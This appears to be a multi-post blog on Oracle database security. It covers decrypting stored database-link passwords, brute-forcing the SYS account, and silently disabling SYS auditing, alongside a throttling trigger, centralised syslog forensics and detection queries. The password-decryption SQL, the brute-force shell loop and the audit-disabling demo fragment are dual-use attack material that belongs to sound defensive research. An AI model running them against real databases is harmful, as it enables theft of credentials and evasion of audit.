Three Tier Oracle Security in London ~ Paul M. Wright

(nix, oracle, java, www, cloud ) intersect (safety, security, reliability, integrity)

Three Tier Oracle Security in London ~ Paul M. Wright RSS Feed

SYS Security

Hello Folks,

A few people have told me that they thought only SYS could select db link passwords.
Truth is any user with SELECT_CATALOG_ROLE can select the passwords from ku$_dblink_view as well.

SQL> select name, userid, utl_raw.cast_to_varchar2(dbms_crypto.decrypt((substr(passwordx,19)), 4353, (substr(passwordx,3,16)))) password from ku$_dblink_view;


If missing execute on dbms_crypto then may need to copy over the ciphertext to another DB under the control of the attacker.

ku$_dblink_view select from SELECT_CATALOG_ROLE is fixed in and above, as is the “stealth password cracking vulnerability” which has gained a lot of attention, and resulted in updates to John and Ettercap.

So which account would be the likely target of this stealth attack? …
The only account that is guaranteed to be present and unlocked is SYS..
For both the stealth brute force and my orabrute style brute force the primary defence is the strength of the SYS password.
If the SYS password is a 15 character passphrase that is changed regularly then the attacks are ineffective. So how to ensure SYS password is complex and the account is secure?
Problem is SYS is immune to profiles in 11g, so no password history, no account locking, and no failed logon delay and crucially no password complexity function.
The SYS password could be ‘a’ and no-one else would be the wiser.

[oracle@localhost ~]$ sqlplus sys/lowsec@localhost/orcl as sysdba

SQL*Plus: Release Production on Wed Nov 28 20:40:57 2012

Copyright (c) 1982, 2010, Oracle.  All rights reserved.

Connected to:
Oracle Database 11g Enterprise Edition Release - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> alter user sys identified by a;

User altered.

SQL> alter user system identified by a;
alter user system identified by a
ERROR at line 1:
ORA-28003: password verification for the specified password failed
ORA-20001: Password length less than 8

The DBA might not even realise the password is ‘a’ if they are coming in through Unix ” / as sysdba “.
SYS can even silently turn off it’s own audit through oradebug so no record of the attack either.

So SYS really is “special”, but will this improve in 12c…? Answers at UKOUG.


Database Link Security

Hello Oracle Security folks,

Good news and bad news – which would you like first?

Ok.. so the bad news is that these user/role/privileges can select and decrypt DBLink passwords on 11.2, as the key to decrypt the ciphertext is included in the password itself.



Database link created.

SQL> select name, userid, passwordx from$ where name='TEST_LINK';

SQL> select name, userid, utl_raw.cast_to_varchar2(dbms_crypto.decrypt((substr(passwordx,19)), 4353, (substr(passwordx,3,16)))) from$ where name='TEST_LINK';


The above issue did not make my Top 10 New Oracle Security Issues which I will publish at UKOUG 2012 on Monday

So the good news is that Oracle audit trail does now highlight incoming DBLink activity including the name of the link from the client database.

select userid, terminal, comment$text from sys.aud$ where comment$text like 'DBLINK%';
------------  -----------------     -------   --------------

This DBLINK_INFO is very useful and the attached paper expands a little on the subject of DBLink security including Forensic Response…more to come at UKOUG in Birmingham.


sys_throttler and Distributed Database Forensics

Attack, Defense and Forensic Response in a Distributed Database Estate.
Paul Michael Wright OCP
Written August 23rd 2012

-This article demonstrates the main security weakness in Oracle Databases, in that Failed SYS logons are not delayed and SYS is immune to password profiles which together represent significant risk.
-It will then demonstrate a solution to this weakness in the form of sys_throttler delay trigger.
-Finally Distributed Database Forensics will be demonstrated using native auditing to dentify the presence of a SYSDBA brute force attack in a distributed estate using a centralised syslog audit trail.

1. Attack – remotely brute force sysdba account

If a remote user tries to guess the SYS password repeatedly using an automated tool then they are not slowed down, but for other accounts they are. This means that brute force protection is only in place for low privileged accounts not for the highest privilege account. This concept was published in an article by the Author back in 2007 (
See basic attack PoC below.

[oracle@orlin dbs]$ while true;do sqlplus -S -L sys/wrongpw@orlin:1521/orcl_plug as sysdba;sleep 0;done;
ORA-01017: invalid username/password; logon denied
.... 8< .....snip
no failed logon delay for SYS account

[oracle@orlin dbs]$ while true;do sqlplus -S -L system/wrongpw@orlin:1521/orcl_plug;sleep 0;done;
ORA-01017: invalid username/password; logon denied
.... 8< ....snip
failed logon delay starts for non-SYS account

So Oracle DB protects the lower privileged accounts more than the highest privileged SYSDBA account. This is one of the greatest weaknesses in the Oracle DB. For SYS it is even more important to delay remote pw guessing, because it is immune to the security that profiles bring (e.g. password complexity verification function and lockout).

2. Defense – put a time delay on repeated sysdba attempts.
One way to defend against this attack is to introduce a time delay to repeated guesses on the same account to slow the attacker’s guesses down. Here is simplied PoC code that achieves this by adding a one second delay to every attempt. For full production code please contact the author on

Create user sys_throttler identified by lowsec12;
Grant execute on dbms_lock to sys_throttler;
create or replace trigger sys_throttler.tra_servererror_ora1017
after servererror on database
   l_db_usr varchar2 (32);
   if (ora_is_servererror(1017)) then
      l_db_usr := upper (trim (sys_context ('userenv', 'authenticated_identity')));
      if l_db_usr ='SYS' then
            dbms_lock.sleep (1);
        end if;
   end if;
end tra_servererror_ora1017;
--thanks Joe

3. Forensic incident response via centralised auditing

It is not well known is that Oracle is the only DB vendor that has the built-in ability to centralise it’s audit trail free of charge by pushing syslog from all the Databases to a single collector. What this means is that compliance can be achieved for a large Oracle DB estate without having to spend money on a third party logging solution. This article will now show you how to do this based on the experiences of a large scale rollout.

This is what the oracle syslog audit trail looks like:

Sep 28 11:37:24 oracle Oracle Audit[23714]: SESSIONID: "24523"
"TEST" SES$ACTIONS: "---------S------"
SES$TID: "154816" OS$USERID: "oracle"

The forensic signature for a remote brute force attack on SYS is as follows. The 1017 status code is specific to the failed logon and there are multiple 1017 attempts at the same time for the SYS account, which shows someone is trying to brute force SYS access into the DB.

[root@localhost ~]# tail -f /var/log/oracle.log
Mar 9 00:26:40 localhost Oracle Audit[15819]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15823]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15823]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15827]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15827]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15839]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15843]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'
Mar 9 00:26:40 localhost Oracle Audit[15847]: LENGTH : '162' ACTION :[7] 'CONNECT' DATABASE USER:[3] 'sys' PRIVILEGE :[4] 'NONE' CLIENT USER:[6] 'oracle' CLIENT TERMINAL:[5] 'pts/1' STATUS:[4] '1017' DBID:[10] '1229390655'

It may be the case that the syslog audit trail has been compressed into gunzip format on Unix as this results in great disk savings. The compressed audit trail records can then be searched using commands like the following.

for file in */*/*.gz; do gunzip -c "$file"; done | egrep -i ‘1017’

4. Centralised DB syslogging Implementation Overview:

So Oracle has a great centralised syslog ability which can be used for distributed DB forensics from a single loghost... but is it easy to set up?
A. Run OS syslog commands and test.
As root on DB OS (breakglass)

#note the entry in syslog.conf should have a tab in the middle not a space.

May need to replace spaces with tabs in /etc/syslog.conf on the address line for Solaris (or vice versa linux).

#vi or vim this will show spaces as blank
:set list
#single line replacement of spaces by tabs.
s/ //g
#and restart syslog after edit on Solaris
svcadm restart system-log
#or on linux
[root@lab2-5 etc]# service syslog restart

Then logger command to test OS portion of the change works well before testing the DB syslog sending.

logger -t "Oracle Test" -p "test to"

B. Configure Database syslog

--as SYS on DB
alter system set audit_syslog_level='' scope=spfile;
alter system set audit_sys_operations=true SCOPE=SPFILE;
alter system set audit_trail='DB' SCOPE=SPFILE; 
shutdown immediate;

That is all there is to it. You will note that only SYS actions are being sent to centralised syslog with the above settings. If audit_trail were set to OS, all audit trail could be sent to centralised syslog, but given that SYS can tamper local audit trail this is the main audit trail to centralise. For forensic purposes it is best to use unprocessed audit trail that has not been changed, so the audit trail should be stored on a disk which only gives read access to humans. Being able to demonstrate that the audit trail is read only will give it greater credibility. Once all the DBs have been configured to send DB audit trail via syslog to a centralised loghost then an effective incident response component is in place. Next is the business process to provide the Incident Responder.

5. Discussion

Native syslogging has a drawback in that DBA privilege can be used to turn it off silently using oradebug (
Interesting point is that production databases produce audit trail on a steady basis – like a heartbeat - so gaps in audit trail indicate that the audit trail has been turned off (or the DB is down).

6. Conclusion

The fact that Oracle has failed logon connection throttling for all accounts except the most privileged can be regarded as the Achilee's Heel of the database. To partly compensate for this Oracle currently has the best audit trail of any RDBMS on the market. This audit trail can be used to forensically identify a brute force attack on the SYS account in a way that is easy, quick and cheap. The fact that this audit trail is easily centralisable means that Distributed Database Forensics can be carried out at a single loghost for an entire Oracle DB estate. This increases ability to respond and also makes gaining compliance lower cost. In this sense centralised Oracle SYSlogging is the Saving Grace, and I am pleased to say that it stays in 12c! Hurrah! and long may it stay that way, as it appears it is still needed..

Will be expanding on the above in UKOUG presentation at Birmingham Annual Conference.

SYS Throttler Update

Hi Oracle Security folks,

Been a busy couple of years but have survived to tell the tale.

So summarising the last two years in terms of memorable research the following springs to mind..
David’s create index privileged escalation vulnerability.
Joxean’s impressive TNS Poision research demonstrating how an attacker can proxy DBA commands by inserting their own instance in the signal path.
Lazlo’s oradebug research here and
Esteban’s very interesting crypto issue The latter is still live with Oracle PSU out on October 16th and nmap already updated to enable a user’s password hash to be derived from the packet from a failed logon.

….Talking of nmap I was surprised to see that Hakin9 magazine had been the victim of a spoof nmap paper as reported at the Register here. The reason I was surprised was because the spoof really was incredibly high on the BS scale, and anyone reading it should have realised it was a mickey-take…(SCIGEN has been around for at least 7 years now) … Oh and the other reason I was surprised is because I had also been approached by Hakin9 and my newest article is now on the front cover of the brand new issue – lol!….hmmm…how best to react to this one??…well there are some very prestigious names on the spoof…but I can only speak for myself and I have to say that I received remuneration for my new article and the content was beta tested by Hakin9, so the new article is good. I think my reasonable experience with Hakin9 may be due to an improvement reaction necessitated by the recent foul-up. Definitely a good idea for folks to exercise the humour muscles on this one methinks…and it seems that the spoof has resulted in an improvement to publication I guess we should say thanks.

In a nutshell my new article is about the continued lack of throttling for failed connections as sys, which combines with the lack of profiles for sys to cause a large risk. The paper shows how to mitigate this problem by adding a throttling trigger(thanks Joe), and by centralising DB audit trail to enable Distributed Database Forensics to be done efficiently by one analyst.
I have also fed back to Hakin9 that the code snippets are sometimes formatted a bit awkwardly in the magazine, but the fact that Hakin9 kindly allow Author’s to self-publish their work as well, means that I can provide the original here with easier to read formatting.

So next steps — check out Pete Finnigan’s UKOUG SIG presentation at and also my own presentation at UKOUG’s Annual Conference in December, which I am excited about as I get a chance to publish my two years worth of work in one go.

As this is “Three Tier Oracle Security”, I will be blogging about Java Security issues in future as well –especially with reference to Adam Gowdiak’s work at

And as a postscript I noticed on Alex’s Twitter feed about DerbyCon presentation from Laszlo Toth & Ferenc Spala. Seems like Oracle Security is going to keep us busy for some time yet.

Keep safe and secure,

Special Event

Due to work commitments I am not keeping this blog up to date as you will have noticed – so the best way for you to keep up to date is to visit both Pete and Alex’s blogs, or attend events such as that organised by the UKOUG..
Keep safe,

Turning off SYS auditing from the DB without that fact being recorded

Hello World,

Thanks to the many folks that attended the Sentrigo Webinar a few hours ago.
Marketing had a few problems with the GoToWebinar software which were solved by excellent team work, Dunkirk Spirit and a sense of humour ~ but did result in my being unable to show this demo of how CREATE ANY DIRECTORY privilege can be used to turn off SYS auditing ~ without the act of turning off the audit being recorded in the audit trail itself. This is why shutdowns and startups as part of mandatory audit are important for security folks to monitor as it may be the only evidence of unauthorised actions having taken place. It is also why using DAMS to enhance Oracle audit is a must for high security organisations (Note: Don’t forget to backup your spfile before you do this test).

SQL> sho parameter audit

———————————— ———– ——————————
audit_file_dest string /u01/app/oracle/admin/orcl/adump
audit_sys_operations boolean TRUE
audit_syslog_level string LOCAL1.INFO
audit_trail string DB

CREATE DIRECTORY DIR2 AS ‘/u01/app/oracle/product/11.2.0/db_1/dbs’;

bu RAW(32767);
bu2 varchar2(32767);
bu3 varchar2(32767);
bu4 varchar2(32767);
bu5 varchar2(32767);
bu6 varchar2(32767);

bu := hextoraw(bu2||bu3||bu4||bu5||bu6);

shutdown immediate

SQL> sho parameter audit

———————————— ———– ——————————
audit_file_dest string /u01/app/oracle/admin/orcl/adump
audit_sys_operations boolean FALSE
audit_syslog_level string
audit_trail string DB

The above is a simple demo which arose from a recent conversation with Pete, and is a good reminder of why audit that is external to Oracle’s DB processes is important ~ plus reinforces the need to prevent DB users from accessing the OS. There are quite a few methods as described here

The above demo is very similar to the CREATE ANY DIRECTORY paper I wrote a couple of years ago now. The point being that these critically important configuration files are not state checked ~ only the size of the file is verified. Good idea to record and verify sha1sum of these files over time .

The Powerpoint slides from today’s presentation are here.

Thanks again to all those concerned in the presentation today. If your organisation is interested in Oracle Security and/or DAMS you can contact me confidentially to discuss this at . Here is the complete and fully tested script for the above demo (The code works well on 11.2 RHE5-64).


Sentrigo Webinar on Tuesday 8th June at 6pm London Time

First EU timed webinar on “securely recording the use of privilege in Oracle databases” went well. There will be a second later webinar timed for the US on Tuesday at this URL. June 8, 10:00am PT/01:00pm ET
The content will include the following:
-Shortcomings of Oracle’s builtin audit trail.
-The generic differences between DAMS solutions.
-How DAMS contributes to compliancy requirements within the financial services.
-How I used DAMS to fix Java Zero days and how that can same process can be used to fix other unpatched vulnerabilities.
-How to integrate DAMS into the Change management process.

There will be some new content and of course folks from anywhere in the World can register if the time is convenient for them also (6pm London Time ~ UTC+1).

Exadata day ~ ISSD prep and Sentrigo Webinar

Just came back from the Oracle Exadata day where there were some well honed presentation skills on offer. The general message seemed to be that Exadata V2 is bigger and better hardware with faster flash memory, but for general purposes can be regarded as being as a bigger 11g/OEL box. It is certainly more secure as no one is going to run off with it.

The Golden Gate presentation was interesting and discussed a new feature called Veridata which allows real time active DB comparison in order to see if a DB copy process has worked correctly. I was interested in how GG syncs the point of state-comparison and apparently this is done using an CSN which interleaves with the Oracle SCN to give a universal machine number. GG comes “free” with Active Data Guard so I think this is going to take off quite rapidly. From a security perspective, protecting the integrity of the Golden Gate sounds fertile ground, so have that on the list of todos after my ISSD presentation at 10.15 this Friday morning.
Putting the finishing touches to said presentation and there is some new content that I am quite pleased with about how to fix new unpatched Oracle software security vulnerabilities using DB application monitoring, which enables quicker SDLC and lower risk changes to Production. Saving money and lowering risk so should be a win win.

Lastly Sentrigo have kindly invited me to speak on a Webinar on the different subject of privilege monitoring

Securely Recording The Use of Privilege in Oracle Databases
Wednesday, June 2, 2010 3:30 PM - 4:30 PM BST

Looking forward to speaking to you at one of the above in the near future.



The dust has settled after Infosec and so what remains must by definition be memorable. In my case, I remember discussing the etymology of the word Oracle with a charming marketing exec. Yes, even before the Greeks, Alexander consulted Amun’s Oracle at Siwa and it must have been good advice as he went onto to “liberate” half of Eurasia. More pertinently I enjoyed talking to Oracle folks about single sign on which is one of the most active inhouse Oracle Security sectors.

Then I moved onto Arcsight . They have packaged some of the ideas about centralised log correlation using an Oracle depository which I discussed years ago in my Oracle Forensics book. I was impressed with the detailed thoroughness of the Arcsight solution (five timestamps per entry!). I find the relationship between networked time and distributed SCNs fascinating.. more to come on this later.

The highlight of the show for me was discussing Guardium’s DAMS technology with some knowledgeable folks. Guardium has grown into quite a big product and interestingly expanded into a holistic change management tool which can integrate with business processes connected to security. I like IBM research and enjoyed speaking to the team there. It is doubly interesting that there are still challenges that have not been solved by either Guardium, Sentrigo or Imperva e.g. alerting to users logging on that currently have the DBA role is a basic requirement but cannot be done properly by either products as neither can run SQL as part of a rule. DAMS are becoming reliable now and ready for serious Enterprise integration but can still be improved. Each one has different advantages which will suit different client requirements.

Also we should not forget that for some activity monitoring purposes the Oracle DB can cope quite nicely on it’s own. Basic audit to SYS.AUD$ for low occurrence events provides low perf hit audit which is cheap and will suffice in some cases. Additionally in 11g the AUDIT_SYSLOG_LEVEL parameter provides extra facility for sending OS audit to SYSLOG, which by default is only accessible to root. Interestingly when AUDIT_SYSLOG_LEVEL along with AUDIT_SYS_OPERATIONS is set to TRUE then all SYS* operations are recorded to /var/log/secure even if AUDIT_TRAIL is set to NONE. Or if AUDIT_TRAIL is set to DB for SYS.AUD$ then SYS* actions go to syslog and nonSYS* actions go to the DB….hmmm…

So if DBA accounts do not have root access then AUDIT_SYSLOG_LEVEL parameter can provide some separation of duty. root unix SysAdmins can audit DBA accounts even though they the DBAs have access to the oracle unix account. This would not have been the case with traditional OS audit via *.aud files which are accessible from the oracle unix account.

In my experience banking does try to separate root access from the DBA account holders, so there can be value in using AUDIT_SYSLOG_LEVEL in this way … but there are a couple of points to bear in mind.

1. A user with oracle unix account or just SYSDBA privilege can still turn off the audit trail anyway as it is controlled from the DB!
2. Any audit to the DB is almost useless from security perspective as a low privileged user that escalates to DBA can then delete those escalatory actions from SYS.AUD$. Of course they would have turned off AUDIT_SYS_OPERATIONS and AUDIT_SYSLOG_LEVEL first to omit SYSLOG entries.

So..the only evidence of audit trail omission after an exploitative escalation would be a mandatory audit entry showing the SYS connection and reboot. Therefore from a security perspective auditing should be handled externally from the database. This is true of all systems. Effective Audit has to be an external function. That is why DAMS like Guardium, Imperva and Sentrigo have a significant role to play for the forseeable future IMO.

Unfortunately I don’t have time to go into more detail on this currently, but will be following up especially with regards to host based DAMS which potentially have the most to offer for high security environments.


JAVA$POLICY$ Past Exploitation Check

Hello Oracle Security interested folks,

Firstly thanks to Oracle for referencing my Oracle Wallet article on as well as the interesting comments from our readers. This blog has become quite popular so thank you for your support.

I have some excellent news as my company has been selected as a Channel Partner for Sentrigo covering the South East of England. Some of you may be aware that I have already successfully deployed the Hedgehog solution within the financial services sector in London over the past 2 years.
Reliable, low resource consuming, host-based DB/Application monitoring has been the holy grail for the last decade and is provably with us in the form of Sentrigo Hedgehog. Effective DB/App security has to be host-based and Sentrigo’s is the best host-based agent because they specialise in this technology. Further details can be provided to backup this assertion by emailing myself at

So.. here is a simple query for finding user accounts which have had their Java privileges escalated and then the user has subsequently been dropped:

select * from JAVA$POLICY$ where grantee# in (select grantee# from sys.JAVA$POLICY$ minus select user# from sys.user$);

If this check returns a resultset it is potentially indicative of historic Java exploit testing in the DB… more in-depth information to come on Java Security at ISSD.